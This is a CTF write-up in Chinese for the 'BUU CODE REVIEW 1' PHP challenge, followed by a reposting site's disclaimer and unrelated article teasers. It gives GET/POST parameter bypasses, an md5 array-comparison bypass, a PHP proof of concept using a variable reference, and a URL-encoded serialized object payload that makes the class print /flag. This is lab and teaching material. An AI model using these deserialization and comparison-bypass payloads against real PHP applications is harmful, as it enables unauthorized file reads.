BUU CODE REVIEW 1

BUU CODE REVIEW 1

考点:PHP变量引用

源码直接给了

image-20230719164057065

<?php

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

我们最后一步肯定是BUU类中__destruct()构造方法中的语句echo file_get_contents("/flag");


分析代码,我们需要先绕过三个if语句,使得我们能成功反序列化obj变量

绕过第一、第二个if:

?pleaseget=1              //GET
pleasepost=2                //POST

绕过第三个if:

if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52'])

要求我们POST提交的参数md51md52值不相同但是md5编码后弱相等。

我们可以0e碰撞绕过也可以用数组绕过。

md51[]=1&md52[]=2          //POST

成功反序列化之后,我们要满足if($this->correct === $this->input) 判断条件才能给flag。

类中属性correct在判断之前有被赋值:$this->correct = base64_encode(uniqid());

uniqid()函数:获取一个带前缀、基于当前时间微秒数的唯一ID。

所以说类中属性correct每一微秒都在改变,我们无法实际预测其具体的值。

如果要满足$this->correct === $this->input的话,我们只能使用变量引用

变量引用原理类似于C语言中的指针,使两个变量指向同一个地址,那么两个变量值就一定相等了。

POC:

<?php
class BUU {
    public $correct = "";
    public $input = "";
    public function __construct() {
        $this->input=&$this->correct;     //input的地址就是correct的地址。不管correct怎么变,input都等于correct。
    }

}

$a=new BUU();
echo urlencode(serialize($a));

?>

payload:

obj=O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D        //POST

image-20230719165657398

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/53165.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

回归预测 | MATLAB实现SO-CNN-BiLSTM蛇群算法优化卷积双向长短期记忆神经网络多输入单输出回归预测

回归预测 | MATLAB实现SO-CNN-BiLSTM蛇群算法优化卷积双向长短期记忆神经网络多输入单输出回归预测 目录 回归预测 | MATLAB实现SO-CNN-BiLSTM蛇群算法优化卷积双向长短期记忆神经网络多输入单输出回归预测预测效果基本介绍模型描述程序设计参考资料 预测效果 基本介绍 Matlab实…

git stash clear清空本地暂存代码

git stash clear清空本地暂存代码 git stash 或者 git stash list 查看本地暂存的代码。 清除本地暂存的代码修改&#xff1a; git stash clear git回退代码仓库版本_git回退到之前的版本会影响本地代码嘛_zhangphil的博客-CSDN博客git回退代码版本_git回退到之前的版本会影…

没有软件测试经验,怎样面试测试工作?

纸上得来终觉浅&#xff0c;所有的面试经验都是要自己去体验&#xff0c;他人说来的都是他人的经验。 同样&#xff0c;每个公司&#xff0c;面对的面试官都会有不同的问题&#xff0c;当然这些问题可能会大同小异&#xff0c;但是也需要自己总结得出&#xff0c;这样的经验不…

文件上传到远程服务器

文件上传 一、上传文件到本地 package com.ruoyi.system.knowledgebase;import com.ruoyi.common.annotation.Anonymous; import com.ruoyi.common.core.domain.AjaxResult; import com.ruoyi.system.domain.SzKnowledge; import com.ruoyi.system.service.ISzKnowledgeServi…

基于物联网、视频监控与AI视觉技术的智慧电厂项目智能化改造方案

一、项目背景 现阶段&#xff0c;电力行业很多企业都在部署摄像头对电力巡检现场状况进行远程监控&#xff0c;但是存在人工查看费时、疲劳、出现问题无法第一时间发现等管理弊端&#xff0c;而且安全事件主要依靠人工经验判断分析、管控&#xff0c;效率十分低下。 为解决上述…

vue生命周期的传统写法和setup语法糖写法

&#x1f642;博主&#xff1a;小猫娃来啦 &#x1f642;文章核心&#xff1a;vue生命周期的传统写法和setup语法糖写法 文章目录 setup语法糖设计目的Vue2 与Vue3的生命周期对比vue3钩子函数beforeCreated和created被封装传统写法和语法糖写法的对比 setup语法糖设计目的 <…

容器部署jenkins定时构建于本地时间不一致

1. Dockerfile FROM jenkins/jenkins:2.411-jdk11 USER root #以下生成密钥方式为旧格式&#xff0c;因为新格式暂不能被"Publish over SSH--->Jenkins SSH Key"功能识别 RUN ssh-keygen -q -m PEM -t rsa -b 2048 -N -f /root/.ssh/id_rsa ADD ./apache-maven…

【Boost搜索引擎项目】

文章目录 一、项目流程二、项目展示 一、项目流程 1.编写数据去标签模块–parser.cc 将去标签之后干净文档以title\3content\3url\ntitle\3content\3url\n格式放入同一文件中。 2.建立索引模块–index.hpp 读取处理好的行文本文件进行分词、权重计算等操作&#xff0c;在内存中…

在linux上面部署activemq

1、下载 网址&#xff1a;ActiveMQ 注意&#xff1a;新版本5.17起 要求jdk11, 5.16兼容jdk8, 所以&#xff0c;确保已经安装 java11 或以上的版本 这里安装较新版&#xff1a;5.18.2&#xff0c;已经安装了java17 如何安装jdk17,请详见我的另一篇文章&#xff1a;linux…

Leetcode-每日一题【剑指 Offer II 075. 数组相对排序】

题目 给定两个数组&#xff0c;arr1 和 arr2&#xff0c; arr2 中的元素各不相同 arr2 中的每个元素都出现在 arr1 中 对 arr1 中的元素进行排序&#xff0c;使 arr1 中项的相对顺序和 arr2 中的相对顺序相同。未在 arr2 中出现过的元素需要按照升序放在 arr1 的末尾。 示例&…

AI For Engineers 线上参会指南

AI For Engineers 线上参会指南 欢迎您报名参加 AI For Engineers&#xff1a;工程师 AI 全球会议&#xff0c;为了让各位参会者参会体验更佳&#xff0c;更好地利用本次会议收获更多。Altair 特别为各位准备了线上参会指南&#xff0c;一起来看看吧~ 会议时间&#xff1a;20…

组合模式——树形结构的处理

1、简介 1.1、概述 树形结构在软件中随处可见&#xff0c;例如操作系统中的目录结构、应用软件中的菜单、办公系统中的公司组织结构等。如何运用面向对象的方式来处理这种树形结构是组合模式需要解决的问题。组合模式通过一种巧妙的设计方案使得用户可以一致性地处理整个树形…

第3章 DOM

文档&#xff1a;DOM中的“D” 如果没有document&#xff08;文档&#xff09;, DOM也就无从谈起。当创建了一个网页并把它加载到Web浏览器中时&#xff0c;DOM就在幕后悄然而生。它把你编写的网页文档转换为一个文档对象。 对象&#xff1a;DOM中的“O” js中的对象分为三种…

森林中的兔子(力扣)数学思维 JAVA

森林中有未知数量的兔子。提问其中若干只兔子 “还有多少只兔子与你&#xff08;指被提问的兔子&#xff09;颜色相同?” &#xff0c;将答案收集到一个整数数组 answers 中&#xff0c;其中 answers[i] 是第 i 只兔子的回答。 给你数组 answers &#xff0c;返回森林中兔子的…

第5集丨webpack 江湖 —— 项目发布 和 source map

目录 一、webpack项目发布1.1 新增发布(build)命令1.2 优化js和图片文件的存放路径1.3 执行1.4 效果 二、clean-webpack-plugin插件2.1 安装2.2 配置2.3 执行 三、source map3.1 配置3.2 生成的source map文件 四、定义符4.1 配置4.2 使用 五、工程附件汇总5.1 webpack.config.…

【Python数据分析】Python常用内置函数(二)

&#x1f389;欢迎来到Python专栏~Python常用内置函数&#xff08;二&#xff09; ☆* o(≧▽≦)o *☆嗨~我是小夏与酒&#x1f379; ✨博客主页&#xff1a;小夏与酒的博客 &#x1f388;该系列文章专栏&#xff1a;Python学习专栏 文章作者技术和水平有限&#xff0c;如果文…

小程序 获取用户头像、昵称、手机号的组件封装(最新版)

在父组件引入该组件 <!-- 授权信息 --><auth-mes showModal"{{showModal}}" idautnMes bind:onConfirm"onConfirm"></auth-mes> 子组件详细代码为: authMes.wxml <!-- components/authMes/authMes.wxml --> <van-popup show…

GuLi商城-前端基础Vue

MVVM思想 M&#xff1a;即Model&#xff0c;模型&#xff0c;包括数据和一些基本操作 V&#xff1a;即View&#xff0c;视图&#xff0c;页面渲染结果 VM&#xff1a;即View-Model&#xff0c;模型与视图间的双向操作&#xff08;无需开发人员干涉&#xff09; Vue.js - 渐…

【计算机视觉|人脸建模】3D人脸重建基础知识(入门)

本系列博文为深度学习/计算机视觉论文笔记&#xff0c;转载请注明出处 一、三维重建基础 三维重建&#xff08;3D Reconstruction&#xff09;是指根据单视图或者多视图的图像重建三维信息的过程。 1. 常见三维重建技术 人工几何模型仪器采集基于图像的建模描述基于几何建模…

Python:给MySQL创建1000张表和创建1张有50个字段的表

1、创建1000张表 import pymysqldbhost "10.1.1.143" dbuser "root" dbpassword "123456" dbname "demo_cg1000" dbport 3306 dbconn pymysql.connect(hostdbhost, userdbuser, passworddbpassword, dbdbname, portdbport)mycu…